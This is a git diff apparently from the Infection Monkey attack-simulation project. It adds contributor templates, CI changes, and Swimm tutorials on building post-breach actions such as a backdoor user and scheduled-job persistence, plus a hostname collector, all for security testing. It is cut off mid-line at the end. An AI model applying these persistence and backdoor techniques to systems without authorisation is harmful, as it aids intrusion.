diff --git a/.github/ISSUE_TEMPLATE/spike.md b/.github/ISSUE_TEMPLATE/spike.md new file mode 100644 index 000000000..d42784cba --- /dev/null +++ b/.github/ISSUE_TEMPLATE/spike.md @@ -0,0 +1,24 @@ +--- +name: "⌛Spike" +about: Create a spike to investigate a cool idea. +title: '' +labels: Spike +assignees: '' + +--- + +# Spike + + + +## Objective +_A description of this spike's objective._ + +## Scope +_Add an explanation of how this spike is bounded (e.g. time-boxed or a checklist of tasks or questions that must be answered)._ + +## Output +_Add a description or list of expected outputs that result from successful completion of this spike. Some examples of outputs are more GitHb issues (e.g. bugs), a trade study, or a report detailing what was learned during the spike._ diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index ebee094c8..d5b8193ff 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,15 +1,21 @@ -# What is this? +# What does this PR do? + Fixes #`put issue number here`. Add any further explanations here. -## Checklist +## PR Checklist * [ ] Have you added an explanation of what your changes do and why you'd like to include them? -* [ ] Have you successfully tested your changes locally? * [ ] Is the TravisCI build passing? +* [ ] Was the documentation framework updated to reflect the changes? -## Proof that it works -If applicable, add screenshots or log transcripts of the feature working +## Testing Checklist + +* [ ] Added relevant unit tests? +* [ ] Have you successfully tested your changes locally? Elaborate: + > Tested by {Running the Monkey locally with relevant config/running Island/...} +* [ ] If applicable, add screenshots or log transcripts of the feature working + +## Explain Changes -## Changes Are the commit messages enough? If not, elaborate. diff --git a/.gitignore b/.gitignore index 2f48a6781..76e08185b 100644 --- a/.gitignore +++ b/.gitignore @@ -91,7 +91,7 @@ profiler_logs/ # vim swap files *.swp -# Server config might contain credentials. Don't commit by default. +# Server config might contain credentials /monkey/monkey_island/cc/server_config.json # Virtualenv diff --git a/.gitmodules b/.gitmodules index b77ba5a43..2fb33dd37 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,7 +1,6 @@ - [submodule "monkey/monkey_island/cc/services/attack/attack_data"] path = monkey/monkey_island/cc/services/attack/attack_data url = https://github.com/guardicore/cti [submodule "docs/themes/learn"] path = docs/themes/learn - url = https://github.com/ShayNehmad/hugo-theme-learn.git + url = https://github.com/guardicode/hugo-theme-learn.git diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm new file mode 100644 index 000000000..83958e466 --- /dev/null +++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm @@ -0,0 +1,92 @@ +{ + "id": "AzD8XysWg1BBXCjCDkfq", + "name": "Add a new configuration setting to the Agent ⚙", + "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", + "description": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine.", + "summary": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/island_configs).", + "hunksOrder": [ + "monkey/infection_monkey/config.py_0", + "monkey/infection_monkey/monkey.py_0", + "monkey/monkey_island/cc/services/config_schema/internal.py_0" + ], + "tests": [], + "hints": [ + "Look for `victims_max_exploit` - it's rather similar." + ], + "play_mode": "all", + "swimmPatch": { + "monkey/infection_monkey/config.py": { + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py\nindex 1fbcb876..67ed19de 100644\n--- a/monkey/infection_monkey/config.py\n+++ b/monkey/infection_monkey/config.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -131,8 +131,6 @@", + " exploiter_classes = []\r", + " system_info_collector_classes = []\r", + " \r", + "- # how many victims to look for in a single scan iteration\r", + "- victims_max_find = 100\r", + " \r", + " # how many victims to exploit before stopping\r", + " victims_max_exploit = 100\r" + ] + } + ] + }, + "monkey/infection_monkey/monkey.py": { + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py\nindex 444bde45..ff23f671 100644\n--- a/monkey/infection_monkey/monkey.py\n+++ b/monkey/infection_monkey/monkey.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -159,8 +159,6 @@", + " if not self._keep_running or not WormConfiguration.alive:\r", + " break\r", + " \r", + "- machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,\r", + "- stop_callback=ControlClient.check_for_stop)\r", + " is_empty = True\r", + " for machine in machines:\r", + " if ControlClient.check_for_stop():\r" + ] + } + ] + }, + "monkey/monkey_island/cc/services/config_schema/internal.py": { + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py\nindex bdbae246..d6042d35 100644\n--- a/monkey/monkey_island/cc/services/config_schema/internal.py\n+++ b/monkey/monkey_island/cc/services/config_schema/internal.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -40,12 +40,6 @@", + " \"title\": \"Monkey\",\r", + " \"type\": \"object\",\r", + " \"properties\": {\r", + "- \"victims_max_find\": {\r", + "- \"title\": \"Max victims to find\",\r", + "- \"type\": \"integer\",\r", + "- \"default\": 100,\r", + "- \"description\": \"Determines the maximum number of machines the monkey is allowed to scan\"\r", + "- },\r", + " \"victims_max_exploit\": {\r", + " \"title\": \"Max victims to exploit\",\r", + " \"type\": \"integer\",\r" + ] + } + ] + } + }, + "app_version": "0.3.5-1", + "file_version": "1.0.4", + "last_commit_sha_for_swimm_patch": "17ee823b086f0b027612e2d1864930d2c5593c3e" +} \ No newline at end of file diff --git a/.swm/JFXftJml8DpmuCPBA9rL.swm b/.swm/JFXftJml8DpmuCPBA9rL.swm new file mode 100644 index 000000000..d0206a862 --- /dev/null +++ b/.swm/JFXftJml8DpmuCPBA9rL.swm @@ -0,0 +1,54 @@ +{ + "id": "JFXftJml8DpmuCPBA9rL", + "name": "Add details about your new PBA", + "dod": "You should add your new PBA's details to the configuration.", + "description": "In order to make sure that the new `ScheduleJobs` PBA is shown in the configuration on the Monkey Island, you need to add its details to the configuration file(s).

\n\nSince this particular PBA is related to the MITRE techniques [T1168](https://attack.mitre.org/techniques/T1168) and [T1053](https://attack.mitre.org/techniques/T1053), make sure to link the PBA with these techniques in the configuration as well.

\n\nEach part of the configuration has an important role \n- *enum* — contains the relevant PBA's class name(s)\n- *title* — holds the name of the PBA which is displayed in the configuration on the Monkey Island\n- *info* — consists of an elaboration on the PBA's working which is displayed in the configuration on the Monkey Island\n- *attack_techniques* — has the IDs of the MITRE techniques associated with the PBA\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- You should be able to see your new PBA under the \"Monkey\" tab in the configuration, along with its information when you click on it\n- Further, when you enable/disable the associated MITRE techniques under the ATT&CK tab in the configuration, the PBA should also be enabled/disabled\n\n", + "summary": "- The PBA details in this file are reflected on the Monkey Island in the PBA configuration.\n- PBAs are also linked to the relevant MITRE techniques in this file, whose results can then be seen in the MITRE ATT&CK report on the Monkey Island.", + "hunksOrder": [ + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" + ], + "tests": [], + "hints": [ + "Have a look at the details of the other techniques." + ], + "play_mode": "all", + "swimmPatch": { + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..b231f96c 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -68,16 +68,7 @@", + " \"Removes the file afterwards.\",", + " \"attack_techniques\": [\"T1166\"]", + " },", + "- {", + "+ # Swimmer: ADD DETAILS HERE!", + "- \"type\": \"string\",", + "- \"enum\": [", + "- \"ScheduleJobs\"", + "- ],", + "- \"title\": \"Job scheduling\",", + "- \"safe\": True,", + "- \"info\": \"Attempts to create a scheduled job on the system and remove it.\",", + "- \"attack_techniques\": [\"T1168\", \"T1053\"]", + "- },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + } + ] + } + }, + "app_version": "0.3.5-1", + "file_version": "1.0.4", + "hunksOrder": [ + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" + ], + "last_commit_sha_for_swimm_patch": "9d9e8168fb2c23367b9947273aa1a041687b3e2e" +} \ No newline at end of file diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm new file mode 100644 index 000000000..0640f1c37 --- /dev/null +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -0,0 +1,200 @@ +{ + "id": "OwcKMnALpn7tuBaJY1US", + "name": "Add a new System Info Collector", + "task": { + "dod": "Add a system info collector that collects the machine hostname.", + "tests": [], + "hints": [ + "First thing you should do is take a look at a different collector (like EnvironmentCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.", + "Try to run \"socket.getfqdn()\".", + "Take a look at SystemInfoCollector - that's the base class you'll need to implement.", + "Make sure you add the new collector to the configuration in all relevant places, including making it ON by default!" + ] + }, + "content": [ + { + "type": "text", + "text": "# What are system info collectors?\n\nWell, the name pretty much explains it. They are Monkey classes which collect various information regarding the victim system, such as Environment, SSH Info, Process List, Netstat and more. \n\n## What should I add? \n\nA system info collector which collects the hostname of the system.\n\n## Test manually\n\nOnce you're done, make sure that your collector:\n* Appears in the Island configuration, and is enabled by default\n* The collector actually runs when executing a Monkey.\n* Results show up in the relevant places:\n * The infection map.\n * The security report.\n * The relevant MITRE techniques.\n\n**There are a lot of hints for this unit - don't be afraid to use them!**" + }, + { + "type": "snippet", + "path": "monkey/common/common_consts/system_info_collectors_names.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " AWS_COLLECTOR = \"AwsCollector\"", + "*HOSTNAME_COLLECTOR = \"HostnameCollector\"", + "+# SWIMMER: Collector name goes here.", + " ENVIRONMENT_COLLECTOR = \"EnvironmentCollector\"", + " PROCESS_LIST_COLLECTOR = \"ProcessListCollector\"", + " MIMIKATZ_COLLECTOR = \"MimikatzCollector\"" + ] + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/system_info/collectors/hostname_collector.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " import logging", + "*import socket", + "*", + "*from common.common_consts.system_info_collectors_names import HOSTNAME_COLLECTOR", + "*from infection_monkey.system_info.system_info_collector import SystemInfoCollector", + " ", + " logger = logging.getLogger(__name__)", + " ", + "*", + "+# SWIMMER: The collector class goes here.", + "*class HostnameCollector(SystemInfoCollector):", + "* def __init__(self):", + "* super().__init__(name=HOSTNAME_COLLECTOR)", + "*", + "* def collect(self) -> dict:", + "* return {\"hostname\": socket.getfqdn()}" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,\r", + "* ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,\r", + " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)\r", + " \r", + " SYSTEM_INFO_COLLECTOR_CLASSES = {\r" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", + "comments": [], + "firstLineNumber": 37, + "lines": [ + " \"info\": \"If on AWS, collects more information about the AWS instance currently running on.\",", + " \"attack_techniques\": [\"T1082\"]", + " },", + "* {", + "+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.", + "* \"type\": \"string\",", + "* \"enum\": [", + "* HOSTNAME_COLLECTOR", + "* ],", + "* \"title\": \"Hostname collector\",", + "* \"safe\": True,", + "* \"info\": \"Collects machine's hostname.\",", + "* \"attack_techniques\": [\"T1082\", \"T1016\"]", + "* },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/monkey.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,", + " ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,", + " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)", + "* HOSTNAME_COLLECTOR,", + " MONKEY = {", + " \"title\": \"Monkey\",", + " \"type\": \"object\"," + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/monkey.py", + "comments": [], + "firstLineNumber": 85, + "lines": [ + " \"default\": [", + " ENVIRONMENT_COLLECTOR,", + " AWS_COLLECTOR,", + "* HOSTNAME_COLLECTOR,", + " PROCESS_LIST_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " AZURE_CRED_COLLECTOR" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " import logging", + " ", + "*from monkey_island.cc.models.monkey import Monkey", + "+# SWIMMER: This will be useful :) monkey_island.cc.models.monkey.Monkey has the useful", + "+# \"get_single_monkey_by_guid\" and \"set_hostname\" methods.", + " ", + " logger = logging.getLogger(__name__)", + " ", + " ", + "*def process_hostname_telemetry(collector_results, monkey_guid):", + "+# SWIMMER: Processing function goes here.", + "* Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results[\"hostname\"])" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " import logging\r", + " import typing\r", + " \r", + "*from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,\r", + " PROCESS_LIST_COLLECTOR)\r", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry\r", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\\r" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", + "comments": [], + "firstLineNumber": 14, + "lines": [ + " SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {", + " AWS_COLLECTOR: [process_aws_telemetry],", + " ENVIRONMENT_COLLECTOR: [process_environment_telemetry],", + "* HOSTNAME_COLLECTOR: [process_hostname_telemetry],", + " PROCESS_LIST_COLLECTOR: [check_antivirus_existence]", + " }", + " " + ] + }, + { + "type": "snippet", + "lines": [ + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry\r", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\\r", + " process_environment_telemetry\r", + "*from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry\r", + " from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence\r", + " \r", + " logger = logging.getLogger(__name__)\r" + ], + "firstLineNumber": 6, + "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", + "comments": [] + }, + { + "type": "text", + "text": "System info collectors are useful to get more data for various things, such as ZT tests or MITRE techniques. Take a look at some other techniques!" + } + ], + "file_version": "2.0.0", + "meta": { + "app_version": "0.3.7-0", + "file_blobs": {} + } +} \ No newline at end of file diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm new file mode 100644 index 000000000..7af1a816c --- /dev/null +++ b/.swm/VW4rf3AxRslfT7lwaug7.swm @@ -0,0 +1,51 @@ +{ + "id": "VW4rf3AxRslfT7lwaug7", + "name": "Implement a new PBA — `ScheduleJobs`", + "dod": "You should implement a new PBA in Monkey which schedules jobs on the machine.", + "description": "You need to implement the `ScheduleJobs` PBA which creates scheduled jobs on the machine.

\n

\nThe commands that add scheduled jobs for Windows and Linux can be retrieved from `get_commands_to_schedule_jobs` — make sure you understand how to use this function correctly.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration — for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Make sure you see the PBA with its results in the Security report as well as in the ATT&CK report under the relevant MITRE technique\n\n\n

\n", + "summary": "Many other PBAs are as simple as this one, using shell commands or scripts — see `Timestomping` and `AccountDiscovery`.

\n\nHowever, for less straightforward ones, you can override functions and implement new classes depending on what is required — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`.

\n\nThis PBA, along with all the other PBAs, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to schedule jobs, which they could use to run malicious code at some specified date and time.", + "hunksOrder": [ + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py_0" + ], + "tests": [], + "hints": [ + "Check out the `Timestomping` PBA to get an idea about the implementation.", + "Don't forget to add code to remove the scheduled jobs!" + ], + "play_mode": "all", + "swimmPatch": { + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": { + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\nindex f7d8d805..06839463 100644\n--- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\n+++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -10,11 +10,5 @@", + " \"\"\"", + " ", + " def __init__(self):", + "- linux_cmds, windows_cmds = get_commands_to_schedule_jobs()", + "+ pass", + "-", + "+ # Swimmer: IMPLEMENT HERE!", + "- super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,", + "- linux_cmd=' '.join(linux_cmds),", + "- windows_cmd=windows_cmds)", + "- ", + "- def run(self):", + "- super(ScheduleJobs, self).run()" + ] + } + ] + } + }, + "app_version": "0.3.5-1", + "file_version": "1.0.4", + "hunksOrder": [ + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py_0" + ], + "last_commit_sha_for_swimm_patch": "44fd1ab69cfbab33cec638dcbbaa8831992a9a9f" +} \ No newline at end of file diff --git a/.swm/swimm.json b/.swm/swimm.json new file mode 100644 index 000000000..e0b9d91df --- /dev/null +++ b/.swm/swimm.json @@ -0,0 +1,7 @@ +{ + "repo_id": "6Nlb99NtY5Fc3bSd8suH", + "configuration": { + "cr_prompt_push_solution": true, + "store_solution_upon_done": true + } +} diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm new file mode 100644 index 000000000..255e44a9b --- /dev/null +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -0,0 +1,121 @@ +{ + "id": "tbxb2cGgUiJQ8Btma0fp", + "name": "Add a simple Post Breach action", + "task": { + "dod": "You should add a new PBA to the Monkey which creates a new user on the machine.", + "tests": [], + "hints": [ + "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.", + "Make sure to add the PBA to the configuration as well.", + "MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report." + ] + }, + "content": [ + { + "type": "text", + "text": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n" + }, + { + "type": "snippet", + "path": "monkey/common/common_consts/post_breach_consts.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"", + "*POST_BREACH_BACKDOOR_USER = \"Backdoor user\"", + "+# Swimmer: PUT THE NEW CONST HERE!", + " POST_BREACH_FILE_EXECUTION = \"File execution\"", + " POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"", + " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"" + ] + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/post_breach/actions/add_user.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER", + "*from infection_monkey.config import WormConfiguration", + " from infection_monkey.post_breach.pba import PBA", + " from infection_monkey.utils.users import get_commands_to_add_user", + " ", + " ", + " class BackdoorUser(PBA):", + " def __init__(self):", + "* linux_cmds, windows_cmds = get_commands_to_add_user(", + "+ pass # Swimmer: Impl here!", + "* WormConfiguration.user_to_add,", + "* WormConfiguration.remote_user_pass)", + "* super(BackdoorUser, self).__init__(", + "* POST_BREACH_BACKDOOR_USER,", + "* linux_cmd=' '.join(linux_cmds),", + "* windows_cmd=windows_cmds)" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER\r", + " from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique\r", + " \r", + " __author__ = \"shreyamalviya\"\r" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", + "comments": [], + "firstLineNumber": 9, + "lines": [ + " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", + " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", + " used_msg = \"Monkey created a new user on the network's systems.\"", + "* pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]", + "+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "comments": [], + "firstLineNumber": 4, + "lines": [ + " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", + " \"type\": \"string\",", + " \"anyOf\": [", + "* {", + "+ # Swimmer: Add new PBA here to config!", + "* \"type\": \"string\",", + "* \"enum\": [", + "* \"BackdoorUser\"", + "* ],", + "* \"title\": \"Back door user\",", + "* \"safe\": True,", + "* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", + "* \"attack_techniques\": [\"T1136\"]", + "* },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + }, + { + "type": "text", + "text": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... " + } + ], + "file_version": "2.0.0", + "meta": { + "app_version": "0.3.7-0", + "file_blobs": { + "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", + "monkey/infection_monkey/post_breach/actions/add_user.py": "a85845840d9cb37529ad367e159cd9001929e759", + "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "d9d86e08ea4aeb0a6bee3f483e4fea50ee6cd200", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "857e80da477ab31dbc00ed0a3f1cd49b69b505fa" + } + } +} \ No newline at end of file diff --git a/.swm/xYkxB76pK0peJj2tSxBJ.swm b/.swm/xYkxB76pK0peJj2tSxBJ.swm new file mode 100644 index 000000000..3dd341f8e --- /dev/null +++ b/.swm/xYkxB76pK0peJj2tSxBJ.swm @@ -0,0 +1,44 @@ +{ + "id": "xYkxB76pK0peJj2tSxBJ", + "name": "Define what your new PBA does", + "task": { + "dod": "You should add a new PBA const that defines what the PBA does.", + "tests": [], + "hints": [ + "See the `Timestomping` PBA. How is the name of the PBA set?" + ] + }, + "content": [ + { + "type": "text", + "text": "The name of your new PBA (which creates scheduled jobs on the machine) will be used in a few places, including the report.

\nYou should briefly define what your PBA does in a constant variable, such that it can be used by both the Monkey and the Monkey Island.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration — for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Check the PBA section in the Security report for the name you gave to the new PBA \n\n" + }, + { + "firstLineNumber": 5, + "path": "monkey/common/common_consts/post_breach_consts.py", + "type": "snippet", + "lines": [ + " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"", + " POST_BREACH_TRAP_COMMAND = \"Execute command when a particular signal is received\"", + " POST_BREACH_SETUID_SETGID = \"Setuid and Setgid\"", + "*POST_BREACH_JOB_SCHEDULING = \"Schedule jobs\"", + "+# Swimmer: PUT THE NEW CONST HERE!", + " POST_BREACH_TIMESTOMPING = \"Modify files' timestamps\"", + " POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = \"Signed script proxy execution\"", + " POST_BREACH_ACCOUNT_DISCOVERY = \"Account discovery\"" + ], + "comments": [] + }, + { + "type": "text", + "text": "- The name defined here for your PBA can be seen on the Monkey Island in the PBA section in the Security report.\n- The results of each PBA stored in the telemetry are also identified by the string defined here for that PBA." + } + ], + "file_version": "2.0.0", + "meta": { + "app_version": "0.3.7-0", + "file_blobs": { + "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3" + } + } +} \ No newline at end of file diff --git a/.travis.yml b/.travis.yml index d1178458b..8ac8db204 100644 --- a/.travis.yml +++ b/.travis.yml @@ -16,11 +16,15 @@ python: os: linux +before_install: +# Init server_config.json to default +- cp monkey/monkey_island/cc/server_config.json.default monkey/monkey_island/cc/server_config.json + install: # Python - pip freeze - pip install -r monkey/monkey_island/requirements.txt # for unit tests -- pip install flake8 pytest dlint isort # for next stages +- pip install flake8 pytest pytest-cov dlint isort # for next stages - pip install coverage # for code coverage - pip install -r monkey/infection_monkey/requirements.txt # for unit tests - pip install pipdeptree @@ -48,42 +52,33 @@ install: # print hugo version (useful for debugging documentation build errors) - hugo version -before_script: -# Set the server config to `testing`. This is required for for the UTs to pass. -- python monkey/monkey_island/cc/set_server_config.py testing - script: # Check Python code ## Check syntax errors and fail the build if any are found. -- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics +- flake8 ./monkey --config=./ci_scripts/flake8_syntax_check.ini ## Warn about linter issues. ### --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build. -### --count will print the total number of errors. -### --statistics Count the number of occurrences of each error/warning code and print a report. ### The output is redirected to a file. -- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics > flake8_warnings.txt +- flake8 ./monkey --exit-zero --config=./ci_scripts/flake8_linter_check.ini > ./ci_scripts/flake8_warnings.txt ## Display the linter issues -- cat flake8_warnings.txt +- cat ./ci_scripts/flake8_warnings.txt ## Make sure that we haven't increased the amount of warnings. -- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120 -- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi +- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80 +- if [ $(tail -n 1 ./ci_scripts/flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi ## Check import order -- python -m isort . -c -p common -p infection_monkey -p monkey_island +- python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg -## Run unit tests +## Run unit tests and generate coverage data - cd monkey # This is our source dir -- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. - -## Calculate Code Coverage -- coverage run -m pytest +- python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. # Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors. - cd monkey_island/cc/ui - npm ci # See 